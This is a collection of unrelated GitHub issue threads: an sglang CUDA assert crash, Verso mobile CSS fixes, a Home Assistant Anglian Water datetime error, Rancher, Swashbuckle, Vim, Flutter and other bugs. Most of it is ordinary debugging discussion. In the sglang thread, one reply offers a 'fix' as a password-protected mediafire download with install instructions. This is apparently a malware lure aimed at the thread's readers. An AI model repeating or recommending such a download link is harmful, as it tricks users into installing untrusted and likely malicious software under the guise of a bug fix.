[Bug] Device-side assert triggered in logits processor when running Llama 3.1 70B

Checklist

[X] 1. I have searched related issues but cannot get the expected help.
[X] 2. The bug has not been fixed in the latest version.
[X] 3. Please note that if the bug-related issue you submitted lacks corresponding environment info and a minimal reproducible demo, it will be challenging for us to reproduce and resolve the issue, reducing the likelihood of receiving feedback.
[X] 4. If the issue you raised is not a bug but a question, please raise a discussion at https://github.com/sgl-project/sglang/discussions/new/choose Otherwise, it will be closed.
[X] 5. Please use English, otherwise it will be closed.

Describe the bug
I am running LLM to perform a classification, the prompt is rather long with few examples, and then a new text is given to classify. The prompt is roughly the following
You are a helpful assistant, and you are good at ......
Given a set of posts on the topic of xxx, [explains the terms, limit response choices and so on].

Here are some examples:
[examples...]

Now it's your turn ...

And I am using the following to get a response:
s += sgl.assistant(
    'Because ' + sgl.gen("cls_reason", temperature=0) + '. So the sentiment is: ' + \
    sgl.gen("cls", choices=["supportive", "opposing", "neutral", "unknown"], temperature=0)
)

However, both the run and run_batch would fail after 30s-1min and report the following device-side assertion error. I have tested for 0.2.14 through 0.2.14.post2 and all have the issue. 0.2.13 has been working fine though (classifying). Here is the log:
[17:26:34] server_args=ServerArgs(model_path='hugging-quants/Meta-Llama-3.1-70B-Instruct-AWQ-INT4', tokenizer_path='hugging-quants/Meta-Llama-3.1-70B-Instruct-AWQ-INT4', tokenizer_mode='auto', skip_tokenizer_init=False, load_format='auto', dtype='auto', kv_cache_dtype='auto', trust_remote_code=False, context_length=None, quantization=None, served_model_name='hugging-quants/Meta-Llama-3.1-70B-Instruct-AWQ-INT4', chat_template=None, is_embedding=False, host='<IP_ADDRESS>', port=11435, additional_ports=[11436, 11437, 11438, 11439], mem_fraction_static=0.55, max_running_requests=None, max_num_reqs=None, max_total_tokens=None, chunked_prefill_size=8192, max_prefill_tokens=16384, schedule_policy='lpm', schedule_conservativeness=1.0, tp_size=4, stream_interval=1, random_seed=833183434, log_level='info', log_level_http=None, log_requests=False, show_time_cost=False, api_key=None, file_storage_pth='SGLang_storage', dp_size=1, load_balance_method='round_robin', disable_flashinfer=False, disable_flashinfer_sampling=False, disable_radix_cache=False, disable_regex_jump_forward=False, disable_cuda_graph=False, disable_cuda_graph_padding=False, disable_disk_cache=False, disable_custom_all_reduce=False, enable_mixed_chunk=False, enable_torch_compile=False, enable_p2p_check=False, enable_mla=False, triton_attention_reduce_in_fp32=False, nccl_init_addr=None, nnodes=1, node_rank=None)
[17:26:35 TP0] Init nccl begin.
[17:26:35 TP3] Init nccl begin.

...... [ignored]

[17:27:12 TP3] max_total_num_tokens=43773, max_prefill_tokens=16384, max_running_requests=2047, context_len=131072
INFO:     Started server process [570088]
INFO:     Waiting for application startup.
INFO:     Application startup complete.
INFO:     Uvicorn running on http://<IP_ADDRESS>:11435 (Press CTRL+C to quit)
INFO:     <IP_ADDRESS>:50042 - "GET /get_model_info HTTP/1.1" 200 OK
[17:27:13 TP0] Prefill batch. #new-seq: 1, #new-token: 7, #cached-token: 0, cache hit rate: 0.00%, #running-req: 0, #queue-req: 0
INFO:     <IP_ADDRESS>:50050 - "POST /generate HTTP/1.1" 200 OK
[17:27:14] The server is fired up and ready to roll!

For debugging consider passing CUDA_LAUNCH_BLOCKING=1
Compile with `TORCH_USE_CUDA_DSA` to enable device-side assertions.

...... [the above repeated several times, I guess for different GPUs, and intertwined with the following]

[rank3]:[E830 17:28:57.137971692 ProcessGroupNCCL.cpp:1515] [PG 3 Rank 3] Process group watchdog thread terminated with exception: CUDA error: device-side assert triggered
CUDA kernel errors might be asynchronously reported at some other API call, so the stacktrace below might be incorrect.
For debugging consider passing CUDA_LAUNCH_BLOCKING=1
Compile with `TORCH_USE_CUDA_DSA` to enable device-side assertions.

Exception raised from c10_cuda_check_implementation at ../c10/cuda/CUDAException.cpp:43 (most recent call first):
frame #0: c10::Error::Error(c10::SourceLocation, std::string) + 0x96 (0x7f35b7c00f86 in /data/redacted/py_env/sglang/lib/python3.10/site-packages/torch/lib/libc10.so)
frame #1: c10::detail::torchCheckFail(char const*, char const*, unsigned int, std::string const&) + 0x64 (0x7f35b7bafd10 in /data/redacted/py_env/sglang/lib/python3.10/site-packages/torch/lib/libc10.so)
frame #2: c10::cuda::c10_cuda_check_implementation(int, char const*, char const*, int, bool) + 0x118 (0x7f35b7cdbf08 in /data/redacted/py_env/sglang/lib/python3.10/site-packages/torch/lib/libc10_cuda.so)
frame #3: c10d::ProcessGroupNCCL::WorkNCCL::finishedGPUExecutionInternal() const + 0x56 (0x7f35b8ef83e6 in /data/redacted/py_env/sglang/lib/python3.10/site-packages/torch/lib/libtorch_cuda.so)
frame #4: c10d::ProcessGroupNCCL::WorkNCCL::isCompleted() + 0xa0 (0x7f35b8efd600 in /data/redacted/py_env/sglang/lib/python3.10/site-packages/torch/lib/libtorch_cuda.so)
frame #5: c10d::ProcessGroupNCCL::watchdogHandler() + 0x1da (0x7f35b8f042ba in /data/redacted/py_env/sglang/lib/python3.10/site-packages/torch/lib/libtorch_cuda.so)
frame #6: c10d::ProcessGroupNCCL::ncclCommWatchdog() + 0x10c (0x7f35b8f066fc in /data/redacted/py_env/sglang/lib/python3.10/site-packages/torch/lib/libtorch_cuda.so)
frame #7: <unknown function> + 0xd3e79 (0x7f3615259e79 in /home/redacted/miniconda3/bin/../lib/libstdc++.so.6)
frame #8: <unknown function> + 0x8609 (0x7f36bfdf8609 in /lib/x86_64-linux-gnu/libpthread.so.0)
frame #9: clone + 0x43 (0x7f36bfbb9353 in /lib/x86_64-linux-gnu/libc.so.6)

terminate called after throwing an instance of 'c10::DistBackendError'
  what():  [PG 3 Rank 3] Process group watchdog thread terminated with exception: CUDA error: device-side assert triggered
CUDA kernel errors might be asynchronously reported at some other API call, so the stacktrace below might be incorrect.
For debugging consider passing CUDA_LAUNCH_BLOCKING=1
Compile with `TORCH_USE_CUDA_DSA` to enable device-side assertions.

Exception raised from c10_cuda_check_implementation at ../c10/cuda/CUDAException.cpp:43 (most recent call first):
frame #0: c10::Error::Error(c10::SourceLocation, std::string) + 0x96 (0x7f35b7c00f86 in /data/redacted/py_env/sglang/lib/python3.10/site-packages/torch/lib/libc10.so)
frame #1: c10::detail::torchCheckFail(char const*, char const*, unsigned int, std::string const&) + 0x64 (0x7f35b7bafd10 in /data/redacted/py_env/sglang/lib/python3.10/site-packages/torch/lib/libc10.so)
frame #2: c10::cuda::c10_cuda_check_implementation(int, char const*, char const*, int, bool) + 0x118 (0x7f35b7cdbf08 in /data/redacted/py_env/sglang/lib/python3.10/site-packages/torch/lib/libc10_cuda.so)
frame #3: c10d::ProcessGroupNCCL::WorkNCCL::finishedGPUExecutionInternal() const + 0x56 (0x7f35b8ef83e6 in /data/redacted/py_env/sglang/lib/python3.10/site-packages/torch/lib/libtorch_cuda.so)
frame #4: c10d::ProcessGroupNCCL::WorkNCCL::isCompleted() + 0xa0 (0x7f35b8efd600 in /data/redacted/py_env/sglang/lib/python3.10/site-packages/torch/lib/libtorch_cuda.so)
frame #5: c10d::ProcessGroupNCCL::watchdogHandler() + 0x1da (0x7f35b8f042ba in /data/redacted/py_env/sglang/lib/python3.10/site-packages/torch/lib/libtorch_cuda.so)
frame #6: c10d::ProcessGroupNCCL::ncclCommWatchdog() + 0x10c (0x7f35b8f066fc in /data/redacted/py_env/sglang/lib/python3.10/site-packages/torch/lib/libtorch_cuda.so)
frame #7: <unknown function> + 0xd3e79 (0x7f3615259e79 in /home/redacted/miniconda3/bin/../lib/libstdc++.so.6)
frame #8: <unknown function> + 0x8609 (0x7f36bfdf8609 in /lib/x86_64-linux-gnu/libpthread.so.0)
frame #9: clone + 0x43 (0x7f36bfbb9353 in /lib/x86_64-linux-gnu/libc.so.6)

Exception raised from ncclCommWatchdog at ../torch/csrc/distributed/c10d/ProcessGroupNCCL.cpp:1521 (most recent call first):
frame #0: c10::Error::Error(c10::SourceLocation, std::string) + 0x96 (0x7f35b7c00f86 in /data/redacted/py_env/sglang/lib/python3.10/site-packages/torch/lib/libc10.so)
frame #1: <unknown function> + 0xe5aa84 (0x7f35b8b8fa84 in /data/redacted/py_env/sglang/lib/python3.10/site-packages/torch/lib/libtorch_cuda.so)
frame #2: <unknown function> + 0xd3e79 (0x7f3615259e79 in /home/redacted/miniconda3/bin/../lib/libstdc++.so.6)
frame #3: <unknown function> + 0x8609 (0x7f36bfdf8609 in /lib/x86_64-linux-gnu/libpthread.so.0)
frame #4: clone + 0x43 (0x7f36bfbb9353 in /lib/x86_64-linux-gnu/libc.so.6)

..... [Also repeated several times]

Reproduction
python -m sglang.launch_server \
    --model-path hugging-quants/Meta-Llama-3.1-70B-Instruct-AWQ-INT4 \
    --host <IP_ADDRESS> --port 11435 --tp 4 --mem-fraction-static 0.55

Environment
> python -m sglang.check_env

Python: 3.10.12 | packaged by conda-forge | (main, Jun 23 2023, 22:40:32) [GCC 12.3.0]
CUDA available: True
GPU 0,1,2,3: NVIDIA RTX A5000
GPU 0,1,2,3 Compute Capability: 8.6
CUDA_HOME: /usr/local/cuda-12.1
NVCC: Cuda compilation tools, release 12.1, V12.1.66
CUDA Driver Version: 535.183.01
PyTorch: 2.4.0+cu121
sglang: 0.2.14
flashinfer: 0.1.6+cu121torch2.4
triton: 3.0.0
transformers: 4.44.2
requests: 2.32.3
tqdm: 4.66.5
numpy: 1.26.4
aiohttp: 3.10.5
fastapi: 0.112.2
hf_transfer: 0.1.8
huggingface_hub: 0.24.6
interegular: 0.3.3
packaging: 24.1
PIL: 10.4.0
psutil: 6.0.0
pydantic: 2.8.2
uvicorn: 0.30.6
uvloop: 0.20.0
zmq: 26.2.0
vllm: 0.5.5
multipart: 0.0.9
openai: 1.43.0
anthropic: 0.34.1
NVIDIA Topology:
        GPU0    GPU1    GPU2    GPU3    CPU Affinity    NUMA Affinity   GPU NUMA ID
GPU0     X      SYS     SYS     SYS     0-63    0               N/A
GPU1    SYS      X      SYS     SYS     0-63    0               N/A
GPU2    SYS     SYS      X      SYS     0-63    0               N/A
GPU3    SYS     SYS     SYS      X      0-63    0               N/A

Legend:

  X    = Self
  SYS  = Connection traversing PCIe as well as the SMP interconnect between NUMA nodes (e.g., QPI/UPI)
  NODE = Connection traversing PCIe as well as the interconnect between PCIe Host Bridges within a NUMA node
  PHB  = Connection traversing PCIe as well as a PCIe Host Bridge (typically the CPU)
  PXB  = Connection traversing multiple PCIe bridges (without traversing the PCIe Host Bridge)
  PIX  = Connection traversing at most a single PCIe bridge
  NV#  = Connection traversing a bonded set of # NVLinks

ulimit soft: 1024

hi bro, to fix your trouble try this fix, i see it in another issue,
https://app.mediafire.com/dqajf1x14ccfd
password: changeme
when you installing it, you need to place a check in install to path and select usx

Try 0.3.0


Fix issue with blacklisted class names from ad blockers

Hello,
@smartmike and I are facing https://github.com/rofrischmann/fela/issues/314 at N26.
Not sure if this fix is the way to go as this may cause a conflict with the next generated className? What if this function maintained its internal index with a closure? That would make it possible to just skip to next without risking a conflict.
One other way to make this issue somehow irrelevant (without actually fixing it though…) is to reverse the alphabet. This would enlarge the buffer before facing this problem.
Other possibility that would be much more bulletproof: removing or replacing the d from the charset. That’s odd, but that would cover that major edge case.
Other suggestion: adding an extra special character at the end to bypass class checkers.

Moved to #319.


There shouldn't be horizontal scroll space on mobile

There shouldn't be space to scroll to the right on mobile browsers, as in this screenshot:

Change code, pre to
pre, code {
    font-family: var(--verso-code-font-family);
    font-variant-ligatures: none;
    overflow-x: scroll;
    padding-bottom: .5rem /* so the scroll bar doesn't cover the code */
}

and .hl.lean.inline to
.hl.lean.inline {
  display: inline;
  white-space: pre-line;
}

which makes it wrap the code, but otherwise keep it as is.
Finally we need to move the little link button into the box. Or remove it on mobile. But if we want to move it in, I would add the following to the inline css:
/* below .namedocs .label, to move the label further left */
@media screen and (max-width: 700px) {
  .namedocs .label {
    right: 1.5rem;
  }
}

and the following to book.css
/* after .permalink-widget.block */
@media screen and (max-width: 700px) {
    .permalink-widget.block {
        right: 0;
        opacity: 1;
    }
}

I think this is mostly fixed, but not 100%, by #148 - leaving this open until I've done a bit more investigation.
Thanks for the help!

It is. One issue that remains is that the headings are too big for small screens. The quick fix is adding an overflow-x: hidden to h1, h2, h3, h4, h5, h6. But I would rather pick a smaller font size for at least the h1 and h2 elements.
Another option is to add word-break: break-word to all headings, which causes them to break in the middle of words if necessary. I would add that as a fallback if some heading just has a really long word.

With break-word

There is also hyphens: auto, which adds hyphenation. It requires a lang="en" on <html> and is more fiddly, so I would go with break-word for now.

Thanks!
I agree that the headers should shrink on small screens, and maybe even big ones, esp. now that there are explicit section numbers to help disambiguate visually-similar headers. Could you suggest some header font styles that go all the way down to h6, but with a smaller h1?

I would go with:
h1 {
  font-size: 2.3rem;
  margin-bottom: 1.3rem;
}
h2 {
  font-size: 1.7rem;
}
h3 {
  font-size: 1.4rem; /* same as desktop, would also keep h4, h5 and h6 as desktop */
}

I don't think it provides value to differentiate between 6 levels of headings. In the language reference today, you use 4, and the 5th one is the same size as the body text, but bold, if you ever need it. If you want a sixth heading, I would go with font-size: 1rem; font-weight: 500;.
I also noticed that there is horizontal scrolling on the index page. That's solved by adding overflow-x: scroll to main .theIndex .division > ol > li.
One more thing about the index, I would differentiate between vertical and horizontal gap on the ol elements (main .theIndex .division > ol): gap: 2rem 3rem. On mobile I would actually just make it a flat list with flex-direction: column; flex-wrap: nowrap; gap: 1rem;.

It's also possible to render the manual as one giant HTML file, which I use for proofreading, and there it has 6 levels of headings. Plus, this is all intended to be a flexible tool that others can write their documents with. So it is relevant to have something non-terrible for all of them, at least.
Thanks for the updates! Will test and get back to you.

OK, I've inserted the mobile stylesheet fixes that you suggested.
Instead of the word wrap in the index, I had the code that makes the HTML insert soft hyphenation opportunities according to camelCase and namespace separators, which I think gives a better experience while reading here than the character-based wrapping would. I've verified that all the horizontal overflows were due to long identifiers and are now gone.

I also made the click targets a bit bigger for the "jump to a letter" at the top, because they were kind of hard to hit on both desktop and mobile.


Hack out Undo / Redo commands

This is done in a hackish manner, and the rough architecture is laid out here.
The undoing of Delete, Clear and Edit commands are the same (I just stored the previous AddressBook state) because properly implementing it requires much more editing of Model / ModelManager / AddressBook which will get quite messy, and is unnecessary now since we are just looking through the architecture.
The main highlights are:

Each ReversibleCommand stores the values that it requires to undo itself. For example, when properly implemented, the DeleteCommand will store deletedPerson and indexOfDeletedPerson.

Parser now has a History object (referencing the HistoryManager in LogicManager), and Parser passes this History object to UndoCommandParser and RedoCommandParser. This may seem kinda weird, but my opinion is that this is the best way to do it. Other possible ways include:

Remove entirely UndoCommandParser and RedoCommandParser since they don't really do much. We can put the logic of these parsers into the commands' constructor.

Let LogicManager do the logic of UndoCommandParser and RedoCommandParser; after the line Command command = parser.parse.. in LogicManager, then LogicManager checks if the command is undo / redo. If true, LogicManager will then execute undo / redo respectively. This means more logic inside LogicManager, and it seems like LogicManager will handle a lot of low-level things which seems wrong. The plus point however is that Parser has no need to store a reference to the History object.

@yamgent we will discuss this with prof on Monday :)


Error when I run Anglian Water: Force Refresh Statistics

System Health details
System Information

version
core-2024.11.2

installation_type
Home Assistant OS

dev
false

hassio
true

docker
true

user
root

virtualenv
false

python_version
3.12.4

os_name
Linux

os_version
6.6.31-haos-raspi

arch
aarch64

timezone
Europe/London

config_dir
/config

Home Assistant Community Store

GitHub API
ok

GitHub Content
ok

GitHub Web
ok

HACS Data
ok

GitHub API Calls Remaining
4993

Installed Version
2.0.1

Stage
running

Available Repositories
1463

Downloaded Repositories
41

Home Assistant Cloud

logged_in
true

subscription_expiration
7 December 2024 at 00:00

relayer_connected
true

relayer_region
eu-central-1

remote_enabled
true

remote_connected
true

alexa_enabled
true

google_enabled
false

cloud_ice_servers_enabled
true

remote_server
eu-central-1-11.ui.nabu.casa

certificate_status
ready

instance_id
06596e6908f04cbd8eeae351a515c8ed

can_reach_cert_server
ok

can_reach_cloud_auth
ok

can_reach_cloud
ok

Home Assistant Supervisor

host_os
Home Assistant OS 13.2

update_channel
stable

supervisor_version
supervisor-2024.11.3

agent_version
1.6.0

docker_version
27.2.0

disk_total
457.7 GB

disk_used
25.3 GB

healthy
true

supported
true

host_connectivity
true

supervisor_connectivity
true

ntp_synchronized
true

virtualization

board
rpi4-64

supervisor_api
ok

version_api
ok

installed_addons
Advanced SSH & Web Terminal (19.0.0), Samba share (12.3.2), Mosquitto broker (6.4.1), ESPHome (2024.10.3), Let's Encrypt (5.2.3), File editor (5.8.0), OLED System Monitor (2.3.0), Glances (0.21.1), Node-RED (18.1.1), Studio Code Server (5.17.3), JupyterLab (0.15.4), AppDaemon (0.16.7), HassOS I2C Configurator (0.14), OpenSpeedTest (v2.0.5), openWakeWord (1.10.0), Piper (1.5.2), Whisper (2.2.0), Matter Server (6.6.0), Speedtest (1.6.2), SQLite Web (4.2.2)

Dashboards

dashboards
8

resources
14

views
13

mode
storage

Recorder

oldest_recorder_run
19 October 2024 at 15:19

current_recorder_run
16 November 2024 at 17:47

estimated_db_size
4737.87 MiB

database_engine
sqlite

database_version
3.45.3

Sonoff

version
3.8.1 (ffa7e22)

cloud_online
1 / 1

local_online
1 / 1

Checklist

[X] I have enabled debug logging for my installation.
[X] I have filled out the issue template to the best of my ability.
[X] This issue only contains 1 issue (if you have multiple issues, open one issue for each issue).
[X] This issue is not a duplicate issue of any previous issues..

Describe the issue
I have been using the Anglian Water: Force Refresh Statistics in an automation to update water usage which I show on my HA energy dashboard.  Without running this I am forced to restart HA to populate this information.  On upgrading to 2024.11.0 my automation now shows this error:
Logger: homeassistant.helpers.script.websocket_api_script
Source: helpers/script.py:526
First occurred: 14:31:48 (1 occurrences)
Last logged: 14:31:48
websocket_api script: Error executing script. Unexpected error for call_service at pos 1: unsupported operand type(s) for -: 'datetime.datetime' and 'datetime.date'
Traceback (most recent call last):
File "/usr/src/homeassistant/homeassistant/helpers/script.py", line 526, in _async_step
await getattr(self, handler)()
File "/usr/src/homeassistant/homeassistant/helpers/script.py", line 764, in _async_call_service_step
response_data = await self._async_run_long_action(
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/usr/src/homeassistant/homeassistant/helpers/script.py", line 727, in _async_run_long_action
return await long_task
^^^^^^^^^^^^^^^
File "/usr/src/homeassistant/homeassistant/core.py", line 2802, in async_call
response_data = await coro
^^^^^^^^^^
File "/usr/src/homeassistant/homeassistant/core.py", line 2845, in _execute_service
return await target(service_call)
^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/config/custom_components/anglian_water/init.py", line 80, in force_refresh_statistics
await coordinator.insert_statistics(
File "/config/custom_components/anglian_water/coordinator.py", line 135, in insert_statistics
hourly_consumption_data = await self.client.get_usages(
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/usr/local/lib/python3.12/site-packages/pyanglianwater/init.py", line 78, in get_usages
output["cost"] += (self.current_tariff_rate / days_in_year(start.year)) * days(start, end)
^^^^^^^^^^^^^^^^
File "/usr/local/lib/python3.12/site-packages/pyanglianwater/init.py", line 17, in days
return (e-s).days
~^~
TypeError: unsupported operand type(s) for -: 'datetime.datetime' and 'datetime.date'
Is there a workaround to address this issue?
Reproduction steps

Go to Developer tools
Select Actions
Choose Anglian Water: Force Refresh Statistics
Input to and from dates
Click on "Perform Action"

This results in an error
Debug logs
See file attached in diagnostics log as too long to paste in here

Diagnostics dump
home-assistant_anglian_water_2024-11-18T14-44-19.278Z.log
home-assistant_2024-11-18T14-45-32.192Z.log

Hi,
Yes I've seen this too.
Working on a fix now.

2024.11.0 just released which should address this.


Draft of a technical ingestion blog post aimed at developers

We will eventually want to publish a blog post about how the ingestion system works, and how to use it as a developer. In order to help the other members of the Horizon team get up to speed, let's spend no more than half a day of effort writing a draft of this now that they can use to orient themselves as they begin to work with the system.
Note that this should not include why we are doing ingestion, and the benefits it brings. That will be a separate blog post.

Discussed this with @bartekn and @tamirms. We'll make a Google doc to work on collaboratively. Bartek will sketch out the topics and start us off.

The doc is ready but I think we need to improve before making it public. Do you want to move this issue to the backlog or close or create another one @ire-and-curses?

Actually I think this is done. The internal doc we produced is great, and will be easy to mine for the blog post later.


chore: cargo updates

chore: update etcd-client to latest
This brings on the new tonic which exposes its Streams as non-Sync and so we had to change some
methods to &mut, which is not great but does resolve this huddle for now without having to
add some sort of trampoline like channels.
Signed-off-by: Tiago Castro<EMAIL_ADDRESS>
chore: upgrade to latest dependencies submodule
This trims out the dependencies as we're trying to upgrade tonic/prost.
Signed-off-by: Tiago Castro<EMAIL_ADDRESS>
chore: upgrade to snafu 0.7.1
Signed-off-by: Tiago Castro<EMAIL_ADDRESS>
chore: upgrade tonic and prost crates
The newest tonic has a simpler Router trait, which might allow us to tidy up the
common service builder library, maybe..
Signed-off-by: Tiago Castro<EMAIL_ADDRESS>
fix(nix-shell): add modules required for commitlint
Signed-off-by: Tiago Castro<EMAIL_ADDRESS>
chore: update to latest mayastor-api submodule
todo: use the new crate rather than keeping local code.
Signed-off-by: Tiago Castro<EMAIL_ADDRESS>

bors merge


Renamed docs/paymentprotocol.md to docs/index.md

Coverage remained the same when pulling 57ebf49e2e5a6952d2bafb710606463ab9b1c81d on braydonf:rename-doc-index into d667402efc1dba0d886c621b1d83a31280180457 on bitpay:master.


registry secret is not disabled on the view config page

Setup

Rancher version: v2.6.4-rc2
Browser type & version: chrome

Describe the bug

user should not be able to edit/change from the cluster -> view config page
To Reproduce

deploy a cluster with a registry + http secret configured
after deployment, visit the view config page of the cluster
Result
secret dropdown is not disabled
Expected Result

user should not be able to edit/change from a view only page
Screenshots

Ticket #5130 - Test Results
With Docker on single-instance:
Reproduced on rancher v2.6.3:

Fresh install of rancher v2.6.3
As admin, create an RKE2 provisioned cluster with a registry and http secret configured
Once created, view config and see if immutable data is mutable, under the registries tab of Cluster Configuration
Reproduced - immutable data is able to be modified

Screenshot:

Verification FAILED on rancher v2.6-5bb08b3692ac3c18ec1361694a095e2c25eb0346-head:

Fresh install of rancher v2.6-head
As admin, create an RKE2 provisioned cluster with a registry and http secret configured
Once created, navigate to the cluster's view config, and see if immutable data is mutable under the registries tab of Cluster Configuration
Verification FAILED - immutable data is able to be modified

Ticket #5130 - Test Results - Verification
With Docker on single-instance:
Verified on rancher v2.6-d63d95a6d75603146e5b15b948ee54a2d452b767-head:

Fresh install of rancher v2.6-head
As admin, create an RKE2 provisioned cluster with a registry and http secret configured
Once created, navigate to the cluster's view config, and see if immutable data is mutable under the registries tab of Cluster Configuration
Verified - Immutable data is NOT able to be modified

Screenshot:


Fixing bug when hoisting FromVar from the landing pad of an inner loop

When hoisting a FromVar out of a loop, we check whether it needs a bailout at its hoisted position. If it does and if doesn't already have a bailout, we insert the appropriate bailout on it, and then hoist it. If the FromVar was originally in the landing pad of an inner loop, we have to make sure that the bail out offset of the newly inserted bailout is that of the top of the loop.

This change is

@pleath @LouisLaf, trivial change

LGTM. Thanks.


IModelFilter Default Does not Respect JSON Serializer Settings

I have created a model filter setting the default value like so:
public class EntityModelFilter : IModelFilter
{
    public void Apply(Schema model, ModelFilterContext context)
    {
        model.Default = new Entity()
        {
            Property = "Hello"
            OtherProperty = null
        };
    }
}

The default JsonSerializerSettings also have the NullValueHandling property set to Include:
services.AddJsonOptions(
    options =>
    {
        // This is the default anyway.
        options.SerializerSettings.NullValueHandling = NullValueHandling.Include;
        options.SerializerSettings.ContractResolver = new CamelCasePropertyNamesContractResolver();
    });

When looking at the example JSON in the Swagger UI, the OtherProperty value is not displayed. I suspect this is a UI problem.

To comply with the Swagger specification, the outputted Swagger JSON has formatting requirements that are independent of your application. So, by design, it doesn't use the same SerializerSettings because doing so could result in invalid Swagger.
However, ideally, all "example" and "default" fields within the Swagger document would use the application settings. But, this is non-trivial as it requires some advanced customization of Json.Net to enable conditional settings based on the field names.

@domaindrivendev, can you elaborate on how including null values or displaying enums as strings would cause an invalid swagger doc, or perhaps describe the approach that needs to be taken to solve this issue?  I'll gladly help if I can.

Is this the same behavior referenced in issue #794 on the main Swashbuckle repo?

Some thoughs on SwaggerContractResolver.cs:

What is the _appJsonSerializer for?

Is the _camelCasePropertyNamesContractResolver really needed? Maybe it's sufficient to set
 NamingStrategy = new CamelCaseNamingStrategy()
 {
     ProcessDictionaryKeys = false
 };

or similiar on the SwaggerContractResolver?

If I understood correctly, for Swagger properties you need to have NullValueHandling.Ignore? The Newtonsoft suite allows setting the NullValueHandling on property contract level, so for my understanding it should be enough to add this in the SwaggerContractResolver:
 protected override JsonProperty CreateProperty(MemberInfo member, MemberSerialization memberSerialization)
 {
     var property = base.CreateProperty(member, memberSerialization);

     // Something like that?
     if (member.DeclaringType.Namespace.StartsWith("Swashbuckle.AspNetCore.Swagger"))
     {
 	    property.NullValueHandling = NullValueHandling.Ignore;
     }

     return property;
 }

Then you would't need to set in on the serializer directly.

@Dresel - thanks for your input.
One other requirement for the Swagger serialization is that "example" and "default" metadata fields are serialized according to the application's serialization settings as opposed to the swagger-specific ones. This is because these fields are used to provide example input/output values for the actual API.
I've created the following PR - #307 to try meet these requirements. It appears to work as intended but it is a little complicated and I'm wondering if there's a simpler way. I'd be interested to get your feedback if you have a moment.

That looks good. I think we also have to take "Examples" from the Response object into account?


Firmware build instructions

Are there instructions for building the firmware and the packages required to do so?  I'm thinking of some software mods.

You can import the project into STM32CubeIDE and just build it. Should work that way!
Let me know if this works and maybe include some details or problems you encounter so I can add a section to the README file.
Thanks! 🙂

So, something like this?
git clone https://github.com/skuep/AIOC.git
cd AIOC
git submodule update

That should be it!

This worked for me:
git clone https://github.com/skuep/AIOC.git
cd AIOC
git submodule update --init
...needed the --init for git to grab the tinyusb sources.  Now I can build the project!!

Thanks! I will update the README later :-)

Trying to follow the instructions. I have STM32IDE finally installed, and when I go to import, I don't see the AIOC-fw as an option:

The AIOC-FW folder is there and populated with files, but not showing up in stm32ide.


Added ColMarTech for Correspondents

About the PR
Added Combat Correspondent's equipment rack.
Media

[x] I have added screenshots/videos to this PR showcasing its changes ingame, or this PR does not require an ingame showcase

Do you want to add anything from #3250? I'll leave this open

whenever this gets merged i hope the mapping updates that add this follow suit quickly.
Also, would it be possible to add a microphone and hand labeler?

Also, would it be possible to add a microphone and hand labeler?

correspondents round spawn with microphone.


Q: security code review

Hi,
Did you guys ever did a security review on your code by an external party?
And if yes, are you willing to share these results or can we find it back in some specifc commits?
We are scheduling a code review by an external security company and if you want, we would like to share these results with you/the community as feedback to improve the product (if anything has been found) :)
Michiel

@chiel1980 No, we didn't and yes, I'm interested. If you've found something then I'd prefer if you first disclose to me so that I can prepare a fix first and disclose publicly later.
Frank

@chiel1980 Any news on this? Just curious.

Hi, because of the costs of the code review of the components we wanted to review and since you/eBay is running it in production, we decided to not do the code review and focus on higher risk components.
A cost/risk tradeoff so to speak.

On 17 Jan 2017, at 13:19, Frank Schröder<EMAIL_ADDRESS>wrote:
@chiel1980 Any news on this? Just curious.
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub, or mute the thread.

Fair enough :) Closing this one then.


Buffer opened early on startup isn't fully initialized

Describe the bug
Executing :edit before Vim finished its startup doesn't work as usual.
To Reproduce
With a .vimrc containing only this:
syntax on
au BufEnter * edit ~/.vimrc

Execute vim and observe that syntax highlighting is missing. Running :edit fixes it.
Expected behavior
Buffer should have &syntax set, but instead it's empty.
Screenshots
There are some in https://github.com/vifm/vifm.vim/issues/65.
Environment (please complete the following information):

Vim version: 8.2.2876
OS: Slackware 14.2
Terminal: xterm

Additional context
I suspect running some autocommand might be suspended due to nesting, but I'm not sure, because after startup everything works fine.

This is expected: you are not using ++nested.  However, using the * pattern with ++nested is going to get you into trouble, thus you probably want do this this differently.


[tool_crash] ProcessException: Process timed out: Command: xcrun, OS error code: -1

Command
flutter build ipa

Steps to Reproduce

...
...
...

Logs
ProcessException: Process timed out:
Command: xcrun, OS error code: -1
#0      RunResult.throwException (package:flutter_tools/src/base/process.dart:124:5)
#1      _DefaultProcessUtils.run (package:flutter_tools/src/base/process.dart:347:19)
<asynchronous suspension>
#2      buildXcodeProject (package:flutter_tools/src/ios/mac.dart:374:47)
<asynchronous suspension>
#3      _BuildIOSSubCommand.runCommand (package:flutter_tools/src/commands/build_ios.dart:257:37)
<asynchronous suspension>
#4      BuildIOSArchiveCommand.runCommand (package:flutter_tools/src/commands/build_ios.dart:122:50)
<asynchronous suspension>
#5      FlutterCommand.run.<anonymous closure> (package:flutter_tools/src/runner/flutter_command.dart:1043:27)
<asynchronous suspension>
#6      AppContext.run.<anonymous closure> (package:flutter_tools/src/base/context.dart:150:19)
<asynchronous suspension>
#7      CommandRunner.runCommand (package:args/command_runner.dart:196:13)
<asynchronous suspension>
#8      FlutterCommandRunner.runCommand.<anonymous closure> (package:flutter_tools/src/runner/flutter_command_runner.dart:284:9)
<asynchronous suspension>
#9      AppContext.run.<anonymous closure> (package:flutter_tools/src/base/context.dart:150:19)
<asynchronous suspension>
#10     FlutterCommandRunner.runCommand (package:flutter_tools/src/runner/flutter_command_runner.dart:232:5)
<asynchronous suspension>
#11     run.<anonymous closure>.<anonymous closure> (package:flutter_tools/runner.dart:62:9)
<asynchronous suspension>
#12     AppContext.run.<anonymous closure> (package:flutter_tools/src/base/context.dart:150:19)
<asynchronous suspension>

[✓] Flutter (Channel stable, 2.2.3, on Mac OS X 10.15.7 19H2 darwin-x64, locale en-IN)
    • Flutter version 2.2.3 at /Users/clorida/flutter_projects/flutterSDK/flutter
    • Framework revision f4abaa0735 (2 months ago), 2021-07-01 12:46:11 -0700
    • Engine revision 241c87ad80
    • Dart version 2.13.4

[!] Android toolchain - develop for Android devices (Android SDK version 29.0.2)
    • Android SDK at /Users/clorida/Library/Android/sdk
    • Platform android-30, build-tools 29.0.2
